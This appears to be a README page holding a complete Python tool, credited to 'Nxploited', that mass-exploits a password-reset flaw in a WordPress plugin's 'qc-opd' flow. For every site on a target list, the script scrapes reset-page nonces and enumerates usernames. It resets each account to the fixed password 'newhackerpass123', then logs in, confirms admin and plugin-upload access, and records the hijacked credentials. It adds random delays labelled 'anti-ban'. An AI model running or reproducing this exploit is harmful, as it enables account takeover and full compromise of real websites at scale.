README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# By: Nxploited
# GitHub: https://github.com/Nxploited
# Telegram: @KNxploited
import os
import re
import sys
import time
import random
from concurrent.futures import ThreadPoolExecutor, as_completed
from typing import Optional, List, Set, Tuple
from urllib.parse import urlparse, urljoin
import requests
import urllib3
try:
from colorama import Fore, Style, init as colorama_init # type: ignore
colorama_init(autoreset=True)
except Exception:
class _C:
RESET = ""
RED = ""
GREEN = ""
YELLOW = ""
CYAN = ""
MAGENTA = ""
BLUE = ""
WHITE = ""
Fore = _C()
Style = _C()
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
RESET_PAGES = [
"restore",
"reset-password",
"forgot-password",
"password-reset",
"recover-password",
"restore-password",
"lost-password",
"account-recovery",
"recover-account",
"set-new-password",
"change-password",
]
EXTRA_PAGES = [
"",
"login",
"signin",
"my-account",
"account",
"profile",
"member",
"members",
]
FIXED_PASSWORD = "newhackerpass123"
RESULT_FILE = "scan_results/reset_mass_success.txt"
BANNER_CORE = [
" _ _ _ _ _ _ _ _ _ ",
" / \\ / |_ __ ) / \\ ) |_ __ |_|_ (_| (_| / \\ /| ",
" \\_ \\/ |_ /_ \\_/ /_ _) | | | \\_/ | ",
" ",
]
AUTHOR_LINE = "By: Nxploited | GitHub: https://github.com/Nxploited | Telegram: @KNxploited"
TITLE_LINE = "WordPress qc-opd Reset Flow Scanner"
def print_banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
# حافة كاملة للمربع بالكامل
width = 67 # عرض داخلي مريح لكل الخطوط
top_border = "╔" + "═" * width + "╗"
mid_border = "╟" + "─" * width + "╢"
bottom_border = "╚" + "═" * width + "╝"
print(Fore.GREEN + top_border + Style.RESET_ALL)
# سطر العنوان الأكبر
title = TITLE_LINE.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.MAGENTA + title + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
# فاصل هادئ
print(Fore.GREEN + mid_border + Style.RESET_ALL)
# شعار ASCII
for line in BANNER_CORE:
padded = line.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.CYAN + padded + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
# فاصل آخر
print(Fore.GREEN + mid_border + Style.RESET_ALL)
# سطر الكاتب والحسابات
author = AUTHOR_LINE.center(width)
print(
Fore.GREEN + "║" + Style.RESET_ALL +
Fore.YELLOW + author + Style.RESET_ALL +
Fore.GREEN + "║" + Style.RESET_ALL
)
print(Fore.GREEN + bottom_border + Style.RESET_ALL)
print()
def now_hms() -> str:
return time.strftime("%H:%M:%S")
def format_site_status(
base: str,
nonce_status: str,
reset_status: str,
access_status: str,
color: str,
) -> None:
line = (
f"[{now_hms()}] "
f"[{base}] "
f"NONCE: {nonce_status:<4} | "
f"RESET: {reset_status:<4} | "
f"ACCESS: {access_status}"
)
print(color + line + Style.RESET_ALL)
def log_note(msg: str) -> None:
print(f"[{now_hms()}] {Fore.CYAN}[*]{Style.RESET_ALL} {msg}")
def log_warn(msg: str) -> None:
print(f"[{now_hms()}] {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")
def log_err(msg: str) -> None:
print(f"[{now_hms()}] {Fore.RED}[x]{Style.RESET_ALL} {msg}")
def log_done(msg: str) -> None:
print(f"[{now_hms()}] {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")
def split_wp_base(url: str) -> Tuple[str, str]:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
parsed = urlparse(url)
base_host = f"{parsed.scheme}://{parsed.netloc}"
path = parsed.path or "/"
if path == "/":
return base_host, ""
return base_host, path.rstrip("/")
def build_wp_url(base_host: str, wp_base: str, path: str) -> str:
if not path.startswith("/"):
path = "/" + path
full = (wp_base + path).replace("//", "/")
return base_host + full
def build_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/121.0.0.0 Safari/537.36"
),
"Accept": (
"text/html,application/xhtml+xml,application/xml;q=0.9,"
"image/avif,image/webp,image/apng,*/*;q=0.8"
),
"Accept-Language": "en-US,en;q=0.9",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache",
})
adapter = requests.adapters.HTTPAdapter(
pool_connections=50,
pool_maxsize=50,
max_retries=1
)
s.mount("http://", adapter)
s.mount("https://", adapter)
return s
def extract_qc_opd_nonce_from_js(body: str) -> Optional[str]:
if not body:
return None
m = re.search(
r'["\']action["\']\s*:\s*["\']qc-opd["\'][^}]+["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\'][^}]+["\']action["\']\s*:\s*["\']qc-opd["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'(?:qc[_-]?opd[_-]?nonce|qcOpdNonce)\s*=\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'(?:qc[_-]?opd|qcOpd)\s*=\s*\{[^}]*["\']nonce["\']\s*:\s*["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
snippet_regex = re.compile(r'.{0,120}qc-opd.{0,120}', re.IGNORECASE | re.DOTALL)
for snip in snippet_regex.findall(body):
m2 = re.search(r'["\']([0-9A-Za-z]{8,20})["\']', snip)
if m2:
return m2.group(1)
return None
def extract_wpnonce(body: str) -> Optional[str]:
if not body:
return None
m = re.search(
r'name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'id=["\']_wpnonce["\']\s+name=["\']_wpnonce["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'_wpnonce["\']\s*value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'name=["\']_wpnonce[_-]?qc[-_]?opd["\']\s+value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
m = re.search(
r'id=["\']qc-opd-nonce["\'][^>]*value=["\']([0-9A-Za-z]+)["\']',
body,
flags=re.IGNORECASE
)
if m:
return m.group(1)
js_nonce = extract_qc_opd_nonce_from_js(body)
if js_nonce:
return js_nonce
return None
def page_contains_sld_and_form(body: str) -> bool:
if not body:
return False
low = body.lower()
if "sld" not in low:
return False
if "_wpnonce" not in low:
return False
if 'name="action"' in low and 'value="restore"' in low:
return True
if "<form" in low and 'name="_wpnonce"' in low:
return True
return False
def extract_internal_links(body: str, base_url: str, max_links: int = 20) -> List[str]:
links: List[str] = []
if not body:
return links
try:
host = base_url.split("://", 1)[1].split("/", 1)[0]
except Exception:
host = ""
for m in re.finditer(r'href=["\']([^"\']+)["\']', body, flags=re.IGNORECASE):
href = m.group(1)
if href.startswith("#"):
continue
full = urljoin(base_url, href)
parsed = urlparse(full)
if parsed.scheme not in ("http", "https"):
continue
if host and host not in (parsed.netloc or ""):
continue
if full not in links:
links.append(full)
if len(links) >= max_links:
break
return links
def find_reset_page_and_nonce_expanded(
sess: requests.Session,
base_host: str,
wp_base: str,
timeout: int,
) -> Tuple[Optional[str], Optional[str]]:
tried: Set[str] = set()
def try_url(url: str) -> Tuple[Optional[str], Optional[str]]:
if url in tried:
return None, None
tried.add(url)
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
return None, None
if r.status_code != 200:
return None, None
body = r.text or ""
if not page_contains_sld_and_form(body):
return None, None
nonce = extract_wpnonce(body)
if nonce:
return r.url, nonce
return None, None
for slug in RESET_PAGES:
slug = slug.strip("/")
for variant in (f"/{slug}/", f"/{slug}"):
url = build_wp_url(base_host, wp_base, variant)
page_url, nonce = try_url(url)
if page_url and nonce:
return page_url, nonce
for slug in EXTRA_PAGES:
slug = slug.strip("/")
path = "/" if slug == "" else f"/{slug}/"
url = build_wp_url(base_host, wp_base, path)
page_url, nonce = try_url(url)
if page_url and nonce:
return page_url, nonce
home = build_wp_url(base_host, wp_base, "/")
try:
rh = sess.get(home, timeout=timeout, allow_redirects=True)
except Exception:
return None, None
if rh.status_code == 200 and rh.text:
base_for_links = rh.url
links = extract_internal_links(rh.text, base_for_links, max_links=25)
for link in links:
page_url, nonce = try_url(link)
if page_url and nonce:
return page_url, nonce
return None, None
AUTHOR_PATTERN = re.compile(r"/author/([^/]+)")
AUTHOR_BODY_PATTERNS = [
re.compile(r'author-\w+">([a-z0-9_\-]+)<', re.I),
re.compile(r"/author/([a-z0-9_\-]+)/", re.I),
re.compile(r'"slug":"([a-z0-9_\-]+)"', re.I),
re.compile(r'"username":"([a-z0-9_\-]+)"', re.I),
]
def enum_by_author(sess: requests.Session, root_url: str, timeout: int, max_i: int = 10) -> Set[str]:
users: Set[str] = set()
for i in range(1, max_i + 1):
try:
u = f"{root_url}/?author={i}"
r = sess.get(u, timeout=timeout, allow_redirects=False)
if r.status_code in (301, 302):
loc = r.headers.get("location", "") or r.headers.get("Location", "")
m = AUTHOR_PATTERN.search(loc)
if m:
users.add(m.group(1))
r2 = sess.get(u, timeout=timeout, allow_redirects=True)
if r2.status_code == 200 and r2.text:
body = r2.text
for patt in AUTHOR_BODY_PATTERNS:
for x in patt.findall(body):
users.add(x)
except Exception:
continue
return users
def enum_by_rest(sess: requests.Session, root_url: str, timeout: int) -> Set[str]:
users: Set[str] = set()
api = root_url.rstrip("/") + "/wp-json/wp/v2/users"
try:
r = sess.get(api, timeout=timeout)
except Exception:
return users
if r.status_code != 200:
return users
try:
data = r.json()
except Exception:
return users
if isinstance(data, list):
for entry in data:
if isinstance(entry, dict):
for key in ("slug", "username", "name"):
v = entry.get(key)
if v:
users.add(str(v))
return users
def collect_candidates(base_host: str, wp_base: str, timeout: int) -> List[str]:
sess = build_session(timeout)
root = build_wp_url(base_host, wp_base, "/")
users: Set[str] = set()
users.update(enum_by_author(sess, root, timeout, max_i=10))
users.update(enum_by_rest(sess, root, timeout))
parsed = urlparse(root)
host = (parsed.netloc or "").split(":")[0].lower()
if host.startswith("www."):
host = host[4:]
first_label = host.split(".")[0]
if first_label and len(first_label) > 2:
users.add(first_label)
users.add("admin")
users = {u for u in users if u and 2 < len(u) < 50}
if not users:
users = {"admin"}
return sorted(users)
def send_reset_for_user(
sess: requests.Session,
page_url: str,
username: str,
nonce: str,
timeout: int,
) -> bool:
data = {
"qc-restore-pwd": "restore",
"qc-restore-pwd-type": "user",
"qc-uid": username,
"pass": FIXED_PASSWORD,
"_wpnonce": nonce,
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Referer": page_url,
}
try:
r = sess.post(
page_url,
data=data,
headers=headers,
timeout=timeout,
allow_redirects=True,
)
except Exception:
return False
if r.status_code not in (200, 302, 301):
return False
body = (r.text or "").lower()
fails = [
"invalid user",
"unknown user",
"user not found",
"invalid username",
"error:",
"error ",
"failed",
]
if any(f in body for f in fails):
return False
return True
def check_admin_access(sess: requests.Session, root_url: str, timeout: int) -> bool:
admin_paths = [
"/wp-admin/index.php",
"/wp-admin/profile.php",
"/wp-admin/edit.php",
"/wp-admin/plugins.php",
"/wp-admin/users.php",
]
markers = [
'id="adminmenu"', 'id="wpadminbar"', '<div id="wpwrap">',
'class="wp-admin', 'id="wpcontent"', 'id="wpbody-content"',
"users.php", "plugins.php", "edit.php",
]
deny = [
"sorry, you are not allowed to access this page",
"you do not have sufficient permissions",
"insufficient permissions",
]
ok_pages = 0
for ep in admin_paths:
u = root_url.rstrip("/") + ep
try:
r = sess.get(u, timeout=timeout, allow_redirects=True)
except Exception:
continue
if r.status_code != 200:
continue
if "wp-login.php" in (r.url or ""):
return False
content = r.text or ""
low = content.lower()
if any(d in low for d in deny):
return False
found = sum(1 for m in markers if m in content)
if found >= 3:
ok_pages += 1
if ok_pages >= 2:
return True
try:
r2 = sess.get(
root_url.rstrip("/") + "/wp-admin/plugin-install.php",
timeout=timeout,
allow_redirects=True
)
if r2.status_code == 200:
low2 = (r2.text or "").lower()
if any(d in low2 for d in deny):
return False
if "upload-plugin" in low2 or "plugin-install-tab" in low2:
return True
except Exception:
pass
return ok_pages >= 1
def find_wp_login_path(sess: requests.Session, base_host: str, wp_base: str, timeout: int) -> str:
paths = [
"/wp-login.php",
"/wordpress/wp-login.php",
"/wp/wp-login.php",
"/blog/wp-login.php",
"/cms/wp-login.php",
"/wp/login.php",
]
for p in paths:
url = build_wp_url(base_host, wp_base, p)
try:
r = sess.get(url, timeout=timeout, allow_redirects=True)
except Exception:
continue
txt = r.text or ""
if r.status_code == 200 and "<form" in txt and "password" in txt.lower():
return p
return "/wp-login.php"
def strict_login_attempt(
sess: requests.Session,
base_host: str,
wp_base: str,
login_path: str,
username: str,
password: str,
timeout: int,
) -> bool:
root_site = build_wp_url(base_host, wp_base, "/")
login_url = build_wp_url(base_host, wp_base, login_path)
try:
sess.get(login_url, timeout=timeout, allow_redirects=True)
except Exception:
pass
data = {
"log": username.strip(),
"pwd": password,
"wp-submit": "Log In",
"testcookie": "1",
}
headers = {
"User-Agent": sess.headers.get("User-Agent", ""),
"Content-Type": "application/x-www-form-urlencoded",
"Referer": login_url,
}
try:
r = sess.post(
login_url,
data=data,
headers=headers,
timeout=timeout,
allow_redirects=True,
)
except Exception:
return False
content = (r.text or "").lower()
fails = [
"incorrect username or password",
"invalid username",
"invalid password",
"error: the username",
"is not registered",
"authentication failed",
"login failed",
"unknown username",
]
if any(x in content for x in fails):
return False
has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
if not has_cookie:
return False
if not check_admin_access(sess, root_site, timeout):
return False
return True
def detect_direct_session_mode(
sess: requests.Session,
base_host: str,
wp_base: str,
timeout: int,
) -> bool:
root_site = build_wp_url(base_host, wp_base, "/")
has_cookie = any(c.name.startswith("wordpress_logged_in") for c in sess.cookies)
if not has_cookie:
return False
return check_admin_access(sess, root_site, timeout)
def brute_after_reset_password_mode(
base_host: str,
wp_base: str,
usernames: List[str],
password: str,
timeout: int,
output_file: str,
per_user_delay_min: float,
per_user_delay_max: float,
) -> int:
hits = 0
sess0 = build_session(timeout)
login_path = find_wp_login_path(sess0, base_host, wp_base, timeout)
for username in usernames:
sess_user = build_session(timeout)
if strict_login_attempt(sess_user, base_host, wp_base, login_path, username, password, timeout):
ts = time.strftime("%Y-%m-%dT%H:%M:%S")
line = f"[{ts}] {base_host}{wp_base or ''} - account={username} pass={password} mode=password\n"
os.makedirs(os.path.dirname(output_file), exist_ok=True)
with open(output_file, "a", encoding="utf-8") as f:
f.write(line)
hits += 1
time.sleep(random.uniform(per_user_delay_min, per_user_delay_max))
return hits
def process_site(
site: str,
timeout: int,
per_user_delay_min: float,
per_user_delay_max: float,
per_site_delay: float,
output_file: str,
) -> None:
base_host, wp_base = split_wp_base(site)
label = f"{base_host}{wp_base or ''}"
nonce_status = "-"
reset_status = "-"
access_hits = 0
sess = build_session(timeout)
page_url, nonce = find_reset_page_and_nonce_expanded(sess, base_host, wp_base, timeout)
if nonce and page_url:
nonce_status = "OK"
else:
nonce_status = "FAIL"
format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED)
return
usernames = collect_candidates(base_host, wp_base, timeout)
if not usernames:
reset_status = "FAIL"
format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.RED)
return
reset_success_any = False
session_mode_hits = 0
for username in usernames:
ok = send_reset_for_user(sess, page_url, username, nonce, timeout)
if ok:
reset_success_any = True
if detect_direct_session_mode(sess, base_host, wp_base, timeout):
ts = time.strftime("%Y-%m-%dT%H:%M:%S")
line = f"[{ts}] {base_host}{wp_base or ''} - account={username} pass={FIXED_PASSWORD} mode=session\n"
os.makedirs(os.path.dirname(output_file), exist_ok=True)
with open(output_file, "a", encoding="utf-8") as f:
f.write(line)
session_mode_hits += 1
time.sleep(random.uniform(per_user_delay_min, per_user_delay_max))
reset_status = "OK" if reset_success_any else "FAIL"
if not reset_success_any:
format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", Fore.YELLOW)
time.sleep(per_site_delay)
return
password_mode_hits = brute_after_reset_password_mode(
base_host,
wp_base,
usernames,
FIXED_PASSWORD,
timeout,
output_file,
per_user_delay_min,
per_user_delay_max,
)
access_hits = session_mode_hits + password_mode_hits
color = Fore.GREEN if access_hits > 0 else Fore.YELLOW
format_site_status(label, nonce_status, reset_status, f"{access_hits} HIT", color)
time.sleep(per_site_delay)
def ask(prompt: str, default: Optional[str] = None) -> str:
if default is not None:
s = input(f"{prompt} [{default}]: ").strip()
return s if s else default
return input(f"{prompt}: ").strip()
def ask_int(prompt: str, default: int) -> int:
s = ask(prompt, str(default))
try:
return int(s)
except Exception:
return default
def ask_float(prompt: str, default: float) -> float:
s = ask(prompt, str(default))
try:
return float(s)
except Exception:
return default
def run_interactive() -> None:
print_banner()
url_list_file = ask("Targets list file (one URL per line)", "list.txt")
if not os.path.exists(url_list_file):
log_err(f"Targets file not found: {url_list_file}")
sys.exit(1)
threads = ask_int("Threads (concurrent sites)", 5)
timeout = ask_int("HTTP timeout (seconds)", 10)
per_user_delay_min = ask_float("Per-user delay MIN (seconds, anti-ban)", 0.3)
per_user_delay_max = ask_float("Per-user delay MAX (seconds, anti-ban)", 0.7)
per_site_delay = ask_float("Delay between sites (seconds)", 1.0)
output_file = ask("Output file for strictly verified access", RESULT_FILE)
targets: List[str] = []
with open(url_list_file, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
line = line.strip()
if line:
targets.append(line)
if not targets:
log_err("Targets file is empty.")
sys.exit(1)
log_note(f"Loaded {len(targets)} targets.")
log_note("Flow: find qc-opd nonce on SLD pages -> multi-user reset -> session+password verification.")
log_note(f"Fixed password used for all attempts: {FIXED_PASSWORD}")
print()
start = time.time()
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {
executor.submit(
process_site,
site,
timeout,
per_user_delay_min,
per_user_delay_max,
per_site_delay,
output_file,
): site
for site in targets
}
try:
for future in as_completed(futures):
_ = futures[future]
except KeyboardInterrupt:
log_warn("Interrupted by user, shutting down threads...")
executor.shutdown(wait=False, cancel_futures=True)
sys.exit(1)
elapsed = time.time() - start
print()
log_done(f"Finished in {elapsed:.2f}s")
log_done(f"Strictly verified access entries written to: {output_file}")
if __name__ == "__main__":
run_interactive()